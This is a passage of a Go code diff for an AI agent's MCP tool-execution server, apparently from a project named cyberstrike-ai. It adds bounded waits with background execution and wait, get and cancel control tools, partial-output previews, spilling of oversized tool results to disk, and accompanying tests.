||||
failed = true
|
||||
finalResult = result
|
||||
} else {
|
||||
execution.Status = "failed"
|
||||
if len(result.Content) > 0 {
|
||||
execution.Error = result.Content[0].Text
|
||||
} else {
|
||||
execution.Error = "工具执行返回错误结果"
|
||||
}
|
||||
execution.Result = result
|
||||
failed = true
|
||||
finalResult = result
|
||||
}
|
||||
} else {
|
||||
execution.Status = "completed"
|
||||
if result == nil {
|
||||
result = &ToolResult{
|
||||
Content: []Content{
|
||||
{Type: "text", Text: "工具执行完成,但未返回结果"},
|
||||
},
|
||||
}
|
||||
}
|
||||
execution.Result = result
|
||||
finalResult = result
|
||||
failed = false
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
if finalResult == nil {
|
||||
finalResult = execution.Result
|
||||
s.mu.RLock()
|
||||
waitTimeout := s.toolWaitTimeout
|
||||
s.mu.RUnlock()
|
||||
if isExecutionControlTool(toolName) {
|
||||
waitTimeout = 0
|
||||
}
|
||||
s.mu.Unlock()
|
||||
|
||||
if s.storage != nil {
|
||||
if err := s.storage.SaveToolExecution(execution); err != nil {
|
||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
||||
}
|
||||
snapshot, waitErr := s.executionService.Wait(ctx, handle.ID, waitTimeout)
|
||||
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
|
||||
return internalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
|
||||
}
|
||||
|
||||
s.updateStats(toolName, failed)
|
||||
|
||||
if s.storage != nil {
|
||||
s.mu.Lock()
|
||||
delete(s.executions, executionID)
|
||||
s.mu.Unlock()
|
||||
if waitErr != nil {
|
||||
return nil, handle.ID, waitErr
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, executionID, err
|
||||
if snapshot == nil || snapshot.Execution == nil {
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
|
||||
}
|
||||
if snapshot.Execution.Result != nil {
|
||||
return snapshot.Execution.Result, handle.ID, nil
|
||||
}
|
||||
if snapshot.Execution.Error != "" {
|
||||
return nil, handle.ID, errors.New(snapshot.Execution.Error)
|
||||
}
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
|
||||
}
|
||||
|
||||
return finalResult, executionID, nil
|
||||
func internalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
|
||||
execID := ""
|
||||
status := ToolExecutionStatusRunning
|
||||
toolName := ""
|
||||
elapsed := time.Duration(0)
|
||||
if snapshot != nil && snapshot.Execution != nil {
|
||||
execID = snapshot.Execution.ID
|
||||
status = snapshot.Execution.Status
|
||||
toolName = snapshot.Execution.ToolName
|
||||
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
|
||||
}
|
||||
waitText := "unbounded"
|
||||
if waitTimeout > 0 {
|
||||
waitText = waitTimeout.Round(time.Second).String()
|
||||
}
|
||||
msg := fmt.Sprintf(`工具已提交到后台执行,但本次等待已到达上限。
|
||||
|
||||
execution_id: %s
|
||||
tool: %s
|
||||
status: %s
|
||||
wait_timeout: %s
|
||||
elapsed: %s
|
||||
|
||||
你可以继续推理、改用其他工具,或调用 wait_tool_execution 继续等待该 execution_id;也可以调用 cancel_tool_execution 取消。`, execID, toolName, status, waitText, elapsed)
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
|
||||
}
|
||||
|
||||
func isExecutionControlTool(toolName string) bool {
|
||||
switch strings.TrimSpace(toolName) {
|
||||
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution, builtin.ToolCancelToolExecution:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// BeginToolExecution 创建 running 状态的执行记录,供 Eino 等非 CallTool 路径在工具开始时落库。
|
||||
@@ -1020,6 +1053,8 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
||||
var finalResult *ToolResult
|
||||
|
||||
s.mu.Lock()
|
||||
maxBytes := s.toolResultMaxBytes
|
||||
spillRoot := s.spillRootDir
|
||||
exec, inMem := s.executions[id]
|
||||
if !inMem || exec == nil {
|
||||
exec = &ToolExecution{
|
||||
@@ -1047,12 +1082,19 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
||||
}
|
||||
exec.Duration = now.Sub(exec.StartTime)
|
||||
|
||||
spill := ToolResultSpillConfig{
|
||||
RootDir: spillRoot,
|
||||
ProjectID: MCPProjectIDFromContext(ctx),
|
||||
ConversationID: exec.ConversationID,
|
||||
ExecutionID: id,
|
||||
}
|
||||
if failed {
|
||||
st, msg := executionStatusAndMessage(invokeErr)
|
||||
exec.Status = st
|
||||
exec.Error = msg
|
||||
if strings.TrimSpace(resultText) != "" {
|
||||
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
|
||||
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
|
||||
exec.Result = finalResult
|
||||
}
|
||||
} else {
|
||||
@@ -1062,6 +1104,7 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
||||
text = "(无输出)"
|
||||
}
|
||||
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
|
||||
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
|
||||
exec.Result = finalResult
|
||||
}
|
||||
s.mu.Unlock()
|
||||
@@ -1082,6 +1125,25 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
||||
return id
|
||||
}
|
||||
|
||||
// AppendToolExecutionPartialOutput records a bounded tail preview for a running local execution.
|
||||
// The final Result remains authoritative and is written only when the tool finishes.
|
||||
func (s *Server) AppendToolExecutionPartialOutput(executionID, chunk string) {
|
||||
if s == nil || strings.TrimSpace(executionID) == "" || chunk == "" {
|
||||
return
|
||||
}
|
||||
id := strings.TrimSpace(executionID)
|
||||
if s.executionService != nil && s.executionService.AppendPartialOutput(id, chunk) {
|
||||
return
|
||||
}
|
||||
now := time.Now()
|
||||
s.mu.Lock()
|
||||
exec := s.executions[id]
|
||||
if exec != nil {
|
||||
appendPartialOutput(exec, chunk, defaultPartialOutputMaxBytes, now)
|
||||
}
|
||||
s.mu.Unlock()
|
||||
}
|
||||
|
||||
// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储(格式与 CallTool 结束后一致),
|
||||
// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景;返回 executionId 供助手消息 mcpExecutionIds 关联。
|
||||
func (s *Server) RecordCompletedToolInvocation(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
|
||||
@@ -1098,8 +1160,16 @@ func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResul
|
||||
return nil
|
||||
}
|
||||
s.mu.Lock()
|
||||
spill := ToolResultSpillConfig{
|
||||
RootDir: s.spillRootDir,
|
||||
ExecutionID: executionID,
|
||||
}
|
||||
if exec, ok := s.executions[executionID]; ok && exec != nil {
|
||||
spill.ConversationID = exec.ConversationID
|
||||
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
|
||||
exec.Result = result
|
||||
} else {
|
||||
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
|
||||
}
|
||||
s.mu.Unlock()
|
||||
if s.storage != nil {
|
||||
@@ -1157,6 +1227,24 @@ func (s *Server) unregisterRunningCancel(id string) {
|
||||
s.runningCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
// RegisterToolExecutionCancel lets non-ExecutionService tool paths, such as Eino
|
||||
// filesystem execute, participate in cancel_tool_execution by execution_id.
|
||||
func (s *Server) RegisterToolExecutionCancel(id string, cancel context.CancelFunc) {
|
||||
id = strings.TrimSpace(id)
|
||||
if s == nil || id == "" || cancel == nil {
|
||||
return
|
||||
}
|
||||
s.registerRunningCancel(id, cancel)
|
||||
}
|
||||
|
||||
func (s *Server) UnregisterToolExecutionCancel(id string) {
|
||||
id = strings.TrimSpace(id)
|
||||
if s == nil || id == "" {
|
||||
return
|
||||
}
|
||||
s.unregisterRunningCancel(id)
|
||||
}
|
||||
|
||||
func (s *Server) readAbortUserNote(id string) string {
|
||||
s.runningCancelsMu.Lock()
|
||||
defer s.runningCancelsMu.Unlock()
|
||||
@@ -1205,6 +1293,9 @@ func (s *Server) applyAbortUserNoteToCancelledToolResult(executionID string, res
|
||||
|
||||
// CancelToolExecutionWithNote 取消内部工具;note 非空时与工具已返回文本合并后交给上层模型。
|
||||
func (s *Server) CancelToolExecutionWithNote(id string, note string) bool {
|
||||
if s.executionService != nil && s.executionService.Cancel(id, note) {
|
||||
return true
|
||||
}
|
||||
s.runningCancelsMu.Lock()
|
||||
cancel, ok := s.runningCancels[id]
|
||||
if !ok || cancel == nil {
|
||||
@@ -1232,12 +1323,17 @@ func (s *Server) ActiveRunningExecutionIDs() map[string]struct{} {
|
||||
if s == nil {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]struct{})
|
||||
if s.executionService != nil {
|
||||
for id := range s.executionService.ActiveRunningExecutionIDs() {
|
||||
out[id] = struct{}{}
|
||||
}
|
||||
}
|
||||
s.runningCancelsMu.Lock()
|
||||
defer s.runningCancelsMu.Unlock()
|
||||
if len(s.runningCancels) == 0 {
|
||||
if len(s.runningCancels) == 0 && len(out) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]struct{}, len(s.runningCancels))
|
||||
for id := range s.runningCancels {
|
||||
out[id] = struct{}{}
|
||||
}
|
||||
|
||||
@@ -3,7 +3,9 @@ package mcp
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/authctx"
|
||||
|
||||
@@ -34,3 +36,185 @@ func TestToolAuthorizerIsUniversalAndExecutionKeepsOwner(t *testing.T) {
|
||||
t.Fatalf("execution owner = %#v, want u1", execution)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServerCallToolBoundedWaitForInternalTool(t *testing.T) {
|
||||
server := NewServer(zap.NewNop())
|
||||
server.toolWaitTimeout = 10 * time.Millisecond
|
||||
release := make(chan struct{})
|
||||
started := make(chan struct{})
|
||||
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
close(started)
|
||||
select {
|
||||
case <-release:
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "internal done"}}}, nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
})
|
||||
|
||||
callCtx, callCancel := context.WithCancel(context.Background())
|
||||
result, executionID, err := server.CallTool(callCtx, "slow", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool returned error: %v", err)
|
||||
}
|
||||
if executionID == "" || result == nil || !result.IsError {
|
||||
t.Fatalf("expected soft timeout with execution id, result=%#v id=%q", result, executionID)
|
||||
}
|
||||
if text := ToolResultPlainText(result); !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
|
||||
t.Fatalf("timeout result missing execution guidance: %q", text)
|
||||
}
|
||||
select {
|
||||
case <-started:
|
||||
default:
|
||||
t.Fatal("internal worker did not start")
|
||||
}
|
||||
callCancel()
|
||||
close(release)
|
||||
|
||||
snapshot, err := server.executionService.Wait(context.Background(), executionID, time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("wait internal execution: %v", err)
|
||||
}
|
||||
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusCompleted {
|
||||
t.Fatalf("snapshot = %#v, want completed", snapshot)
|
||||
}
|
||||
if got := ToolResultPlainText(snapshot.Execution.Result); got != "internal done" {
|
||||
t.Fatalf("result = %q, want internal done", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWaitToolExecutionWaitsForInternalActiveExecution(t *testing.T) {
|
||||
server := NewServer(zap.NewNop())
|
||||
server.toolWaitTimeout = 10 * time.Millisecond
|
||||
release := make(chan struct{})
|
||||
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
select {
|
||||
case <-release:
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "wait saw completion"}}}, nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
})
|
||||
RegisterExecutionControlTools(server, nil)
|
||||
|
||||
result, executionID, err := server.CallTool(context.Background(), "slow", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool returned error: %v", err)
|
||||
}
|
||||
if result == nil || !result.IsError || executionID == "" {
|
||||
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
|
||||
}
|
||||
|
||||
done := make(chan *ToolResult, 1)
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
waitResult, _, waitErr := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"timeout_seconds": 1,
|
||||
})
|
||||
if waitErr != nil {
|
||||
errCh <- waitErr
|
||||
return
|
||||
}
|
||||
done <- waitResult
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
t.Fatal("wait_tool_execution returned before target execution completed")
|
||||
case err := <-errCh:
|
||||
t.Fatalf("wait_tool_execution errored before release: %v", err)
|
||||
case <-time.After(50 * time.Millisecond):
|
||||
}
|
||||
close(release)
|
||||
|
||||
select {
|
||||
case err := <-errCh:
|
||||
t.Fatalf("wait_tool_execution returned error: %v", err)
|
||||
case waitResult := <-done:
|
||||
if waitResult == nil || waitResult.IsError {
|
||||
t.Fatalf("expected successful wait result, got %#v", waitResult)
|
||||
}
|
||||
if body := ToolResultPlainText(waitResult); !strings.Contains(body, "wait saw completion") || !strings.Contains(body, `"status": "completed"`) {
|
||||
t.Fatalf("wait result missing completed target: %s", body)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("wait_tool_execution did not return after target completion")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWaitToolExecutionTimeoutIsObservationNotFailure(t *testing.T) {
|
||||
server := NewServer(zap.NewNop())
|
||||
server.toolWaitTimeout = 10 * time.Millisecond
|
||||
release := make(chan struct{})
|
||||
server.RegisterTool(Tool{Name: "slow_observed", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
<-release
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "done"}}}, nil
|
||||
})
|
||||
RegisterExecutionControlTools(server, nil)
|
||||
|
||||
result, executionID, err := server.CallTool(context.Background(), "slow_observed", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool returned error: %v", err)
|
||||
}
|
||||
if result == nil || !result.IsError || executionID == "" {
|
||||
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
|
||||
}
|
||||
|
||||
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"timeout_seconds": 0.01,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("wait_tool_execution returned error: %v", err)
|
||||
}
|
||||
if waitResult == nil {
|
||||
t.Fatal("missing wait result")
|
||||
}
|
||||
if waitResult.IsError {
|
||||
t.Fatalf("wait timeout should be a successful observation, got %#v", waitResult)
|
||||
}
|
||||
body := ToolResultPlainText(waitResult)
|
||||
if !strings.Contains(body, `"status": "running"`) || !strings.Contains(body, "本次等待已到达") {
|
||||
t.Fatalf("wait timeout body missing running status/guidance: %s", body)
|
||||
}
|
||||
close(release)
|
||||
}
|
||||
|
||||
func TestGetToolExecutionIncludesBoundedPartialOutput(t *testing.T) {
|
||||
server := NewServer(zap.NewNop())
|
||||
RegisterExecutionControlTools(server, nil)
|
||||
|
||||
executionID := server.BeginToolExecution(context.Background(), "execute", map[string]interface{}{"command": "demo"})
|
||||
if executionID == "" {
|
||||
t.Fatal("missing execution id")
|
||||
}
|
||||
server.AppendToolExecutionPartialOutput(executionID, "first\n")
|
||||
server.AppendToolExecutionPartialOutput(executionID, strings.Repeat("x", 32))
|
||||
|
||||
result, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"partial_output_max_bytes": 8,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("get_tool_execution: %v", err)
|
||||
}
|
||||
body := ToolResultPlainText(result)
|
||||
if !strings.Contains(body, `"partial_output": "xxxxxxxx"`) {
|
||||
t.Fatalf("missing bounded partial output: %s", body)
|
||||
}
|
||||
if !strings.Contains(body, `"partial_output_bytes": 38`) {
|
||||
t.Fatalf("missing partial byte count: %s", body)
|
||||
}
|
||||
|
||||
result, _, err = server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"include_partial_output": false,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("get_tool_execution without partial: %v", err)
|
||||
}
|
||||
if body := ToolResultPlainText(result); strings.Contains(body, "partial_output") {
|
||||
t.Fatalf("partial output should be omitted: %s", body)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
package mcp
|
||||
|
||||
import "cyberstrike-ai/internal/tooloutput"
|
||||
|
||||
const DefaultToolResultMaxBytes = 12000
|
||||
|
||||
// ToolResultSpillConfig controls where oversized tool results are written on disk
|
||||
// before the in-memory/DB/agent-facing payload is truncated.
|
||||
type ToolResultSpillConfig struct {
|
||||
RootDir string
|
||||
ProjectID string
|
||||
ConversationID string
|
||||
ExecutionID string
|
||||
}
|
||||
|
||||
// NormalizeToolResultForStorage returns the canonical result used by both the
|
||||
// agent-facing response and monitor persistence. When maxBytes is exceeded the
|
||||
// full text is spilled under the reduction cache tree and replaced with a
|
||||
// <persisted-output> notice that includes the file path.
|
||||
func NormalizeToolResultForStorage(result *ToolResult, maxBytes int) *ToolResult {
|
||||
return NormalizeToolResultForStorageWithSpill(result, maxBytes, ToolResultSpillConfig{})
|
||||
}
|
||||
|
||||
// NormalizeToolResultForStorageWithSpill is NormalizeToolResultForStorage with
|
||||
// an explicit spill location (conversation/execution scoped).
|
||||
func NormalizeToolResultForStorageWithSpill(result *ToolResult, maxBytes int, spill ToolResultSpillConfig) *ToolResult {
|
||||
if result == nil {
|
||||
return nil
|
||||
}
|
||||
out := cloneToolResult(result)
|
||||
if maxBytes <= 0 {
|
||||
return out
|
||||
}
|
||||
|
||||
total := 0
|
||||
for _, c := range out.Content {
|
||||
if c.Type == "text" {
|
||||
total += len(c.Text)
|
||||
}
|
||||
}
|
||||
if total <= maxBytes {
|
||||
return out
|
||||
}
|
||||
|
||||
full := ToolResultPlainText(out)
|
||||
bound := tooloutput.BoundWithSpill(full, maxBytes, tooloutput.SpillOpts{
|
||||
RootDir: spill.RootDir,
|
||||
ProjectID: spill.ProjectID,
|
||||
ConversationID: spill.ConversationID,
|
||||
ExecutionID: spill.ExecutionID,
|
||||
})
|
||||
out.Content = []Content{{Type: "text", Text: bound}}
|
||||
return out
|
||||
}
|
||||
|
||||
func cloneToolResult(in *ToolResult) *ToolResult {
|
||||
if in == nil {
|
||||
return nil
|
||||
}
|
||||
out := *in
|
||||
if in.Content != nil {
|
||||
out.Content = append([]Content(nil), in.Content...)
|
||||
}
|
||||
return &out
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
type inMemoryMonitorStorage struct {
|
||||
executions map[string]*ToolExecution
|
||||
}
|
||||
|
||||
func newInMemoryMonitorStorage() *inMemoryMonitorStorage {
|
||||
return &inMemoryMonitorStorage{executions: map[string]*ToolExecution{}}
|
||||
}
|
||||
|
||||
func (s *inMemoryMonitorStorage) SaveToolExecution(exec *ToolExecution) error {
|
||||
if exec != nil {
|
||||
s.executions[exec.ID] = cloneToolExecution(exec)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *inMemoryMonitorStorage) UpdateToolExecutionResult(id string, result *ToolResult) error {
|
||||
exec := s.executions[id]
|
||||
if exec == nil {
|
||||
exec = &ToolExecution{ID: id}
|
||||
s.executions[id] = exec
|
||||
}
|
||||
exec.Result = cloneToolResult(result)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *inMemoryMonitorStorage) LoadToolExecutions() ([]*ToolExecution, error) {
|
||||
out := make([]*ToolExecution, 0, len(s.executions))
|
||||
for _, exec := range s.executions {
|
||||
out = append(out, cloneToolExecution(exec))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (s *inMemoryMonitorStorage) GetToolExecution(id string) (*ToolExecution, error) {
|
||||
if exec := s.executions[id]; exec != nil {
|
||||
return cloneToolExecution(exec), nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (s *inMemoryMonitorStorage) SaveToolStats(string, *ToolStats) error { return nil }
|
||||
|
||||
func (s *inMemoryMonitorStorage) LoadToolStats() (map[string]*ToolStats, error) {
|
||||
return map[string]*ToolStats{}, nil
|
||||
}
|
||||
|
||||
func (s *inMemoryMonitorStorage) UpdateToolStats(string, int, int, int, *time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestServerCallToolStoresAndReturnsSameGuardedResult(t *testing.T) {
|
||||
storage := newInMemoryMonitorStorage()
|
||||
server := NewServerWithStorage(zap.NewNop(), storage)
|
||||
server.ConfigureToolWaitTimeoutSeconds(0)
|
||||
server.ConfigureToolResultMaxBytes(400)
|
||||
spillRoot := t.TempDir()
|
||||
server.ConfigureToolResultSpillRoot(spillRoot)
|
||||
server.RegisterTool(Tool{Name: "big", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("x", 800)}}}, nil
|
||||
})
|
||||
|
||||
ctx := WithMCPConversationID(context.Background(), "conv-spill")
|
||||
result, executionID, err := server.CallTool(ctx, "big", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool: %v", err)
|
||||
}
|
||||
if executionID == "" {
|
||||
t.Fatal("missing execution id")
|
||||
}
|
||||
returned := ToolResultPlainText(result)
|
||||
if !strings.Contains(returned, "<persisted-output>") || !strings.Contains(returned, "Full output saved to:") {
|
||||
t.Fatalf("returned result was not spilled: %q", returned)
|
||||
}
|
||||
if len(returned) > 400 {
|
||||
t.Fatalf("returned result exceeded hard limit: len=%d text=%q", len(returned), returned)
|
||||
}
|
||||
|
||||
spillPath := filepath.Join(spillRoot, "conversations", "conv-spill", "trunc", executionID)
|
||||
abs, err := filepath.Abs(spillPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(returned, abs) {
|
||||
t.Fatalf("missing spill path %q in %q", abs, returned)
|
||||
}
|
||||
body, err := os.ReadFile(abs)
|
||||
if err != nil {
|
||||
t.Fatalf("read spill file: %v", err)
|
||||
}
|
||||
if string(body) != strings.Repeat("x", 800) {
|
||||
t.Fatalf("spill body mismatch: len=%d", len(body))
|
||||
}
|
||||
|
||||
inMem, ok := server.GetExecution(executionID)
|
||||
if !ok || inMem == nil || inMem.Result == nil {
|
||||
t.Fatalf("missing in-memory execution: %#v", inMem)
|
||||
}
|
||||
stored := storage.executions[executionID]
|
||||
if stored == nil || stored.Result == nil {
|
||||
t.Fatalf("missing stored execution: %#v", stored)
|
||||
}
|
||||
if ToolResultPlainText(inMem.Result) != returned {
|
||||
t.Fatalf("in-memory result != returned\nmem=%q\nret=%q", ToolResultPlainText(inMem.Result), returned)
|
||||
}
|
||||
if ToolResultPlainText(stored.Result) != returned {
|
||||
t.Fatalf("stored result != returned\nstored=%q\nret=%q", ToolResultPlainText(stored.Result), returned)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutionServiceStoresGuardedResult(t *testing.T) {
|
||||
service := NewExecutionService(nil, zap.NewNop())
|
||||
service.ConfigureToolResultMaxBytes(400)
|
||||
spillRoot := t.TempDir()
|
||||
service.ConfigureToolResultSpillRoot(spillRoot)
|
||||
handle, err := service.Submit(context.Background(), ExecutionRequest{
|
||||
ToolName: "big",
|
||||
ConversationID: "svc-conv",
|
||||
Run: func(context.Context) (*ToolResult, error) {
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("a", 800)}}}, nil
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("Submit: %v", err)
|
||||
}
|
||||
snap, err := service.Wait(context.Background(), handle.ID, time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("Wait: %v", err)
|
||||
}
|
||||
got := ToolResultPlainText(snap.Execution.Result)
|
||||
if !strings.Contains(got, "<persisted-output>") {
|
||||
t.Fatalf("service result was not spilled: %q", got)
|
||||
}
|
||||
if len(got) > 400 {
|
||||
t.Fatalf("service result exceeded hard limit: len=%d text=%q", len(got), got)
|
||||
}
|
||||
path := filepath.Join(spillRoot, "conversations", "svc-conv", "trunc", handle.ID)
|
||||
abs, _ := filepath.Abs(path)
|
||||
body, err := os.ReadFile(abs)
|
||||
if err != nil {
|
||||
t.Fatalf("read spill: %v", err)
|
||||
}
|
||||
if string(body) != strings.Repeat("a", 800) {
|
||||
t.Fatalf("unexpected spill body len=%d", len(body))
|
||||
}
|
||||
}
|
||||
@@ -199,6 +199,12 @@ type ToolExecution struct {
|
||||
StartTime time.Time `json:"startTime"`
|
||||
EndTime *time.Time `json:"endTime,omitempty"`
|
||||
Duration time.Duration `json:"duration,omitempty"`
|
||||
// PartialOutput is a bounded tail preview of output produced by a running tool.
|
||||
// It is intentionally separate from Result, which remains the final canonical tool result.
|
||||
PartialOutput string `json:"partialOutput,omitempty"`
|
||||
PartialOutputBytes int64 `json:"partialOutputBytes,omitempty"`
|
||||
PartialOutputTruncated bool `json:"partialOutputTruncated,omitempty"`
|
||||
PartialOutputUpdatedAt *time.Time `json:"partialOutputUpdatedAt,omitempty"`
|
||||
// ConversationID 仅 API 展示用(进行中的 Agent 任务),不写入 tool_executions 表。
|
||||
ConversationID string `json:"conversationId,omitempty"`
|
||||
OwnerUserID string `json:"-"`
|
||||
|
||||
@@ -14,7 +14,7 @@ const (
|
||||
staleRunningReconcileGap = 2 * time.Minute
|
||||
)
|
||||
|
||||
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 cancelled。
|
||||
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 orphaned。
|
||||
type ExecutionReconciler struct {
|
||||
db *database.DB
|
||||
mcpServer *mcp.Server
|
||||
@@ -32,7 +32,7 @@ func NewExecutionReconciler(db *database.DB, mcpServer *mcp.Server, externalMgr
|
||||
}
|
||||
}
|
||||
|
||||
// ReconcileOnStartup marks every persisted running row as cancelled (safe right after process start).
|
||||
// ReconcileOnStartup marks every persisted running row as orphaned (safe right after process start).
|
||||
func (r *ExecutionReconciler) ReconcileOnStartup() {
|
||||
if r == nil || r.db == nil {
|
||||
return
|
||||
|
||||
@@ -32,7 +32,7 @@ func TestExecutionReconciler_ReconcileOnStartup(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("GetToolExecution: %v", err)
|
||||
}
|
||||
if got.Status != "cancelled" {
|
||||
t.Fatalf("expected cancelled after startup reconcile, got %s", got.Status)
|
||||
if got.Status != "orphaned" {
|
||||
t.Fatalf("expected orphaned after startup reconcile, got %s", got.Status)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
@@ -315,10 +316,12 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
if len(preview) > 200 {
|
||||
preview = preview[:200] + "..."
|
||||
}
|
||||
backgroundRunning := isErr && isMCPBackgroundWaitResult(content)
|
||||
displayIsErr := isErr && !backgroundRunning
|
||||
data := map[string]interface{}{
|
||||
"toolName": toolName,
|
||||
"success": !isErr,
|
||||
"isError": isErr,
|
||||
"success": !displayIsErr,
|
||||
"isError": displayIsErr,
|
||||
"result": content,
|
||||
"resultPreview": preview,
|
||||
"agentFacing": true, // 与 reduction 后送入 ChatModel 的正文一致,供前端展示
|
||||
@@ -327,6 +330,13 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": einoRoleTag(agentName),
|
||||
"source": "eino",
|
||||
}
|
||||
if backgroundRunning {
|
||||
data["status"] = "background_running"
|
||||
data["modelFacingIsError"] = isErr
|
||||
if execID := mcpExecutionIDFromWaitResult(content); execID != "" {
|
||||
data["executionId"] = execID
|
||||
}
|
||||
}
|
||||
tid := strings.TrimSpace(toolCallID)
|
||||
if tid == "" {
|
||||
if inferred, ok := popNextPendingForAgent(agentName); ok {
|
||||
@@ -347,8 +357,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
data["toolCallId"] = tid
|
||||
toolCallID = tid
|
||||
}
|
||||
recordPendingExecuteStdoutDup(toolName, content, isErr)
|
||||
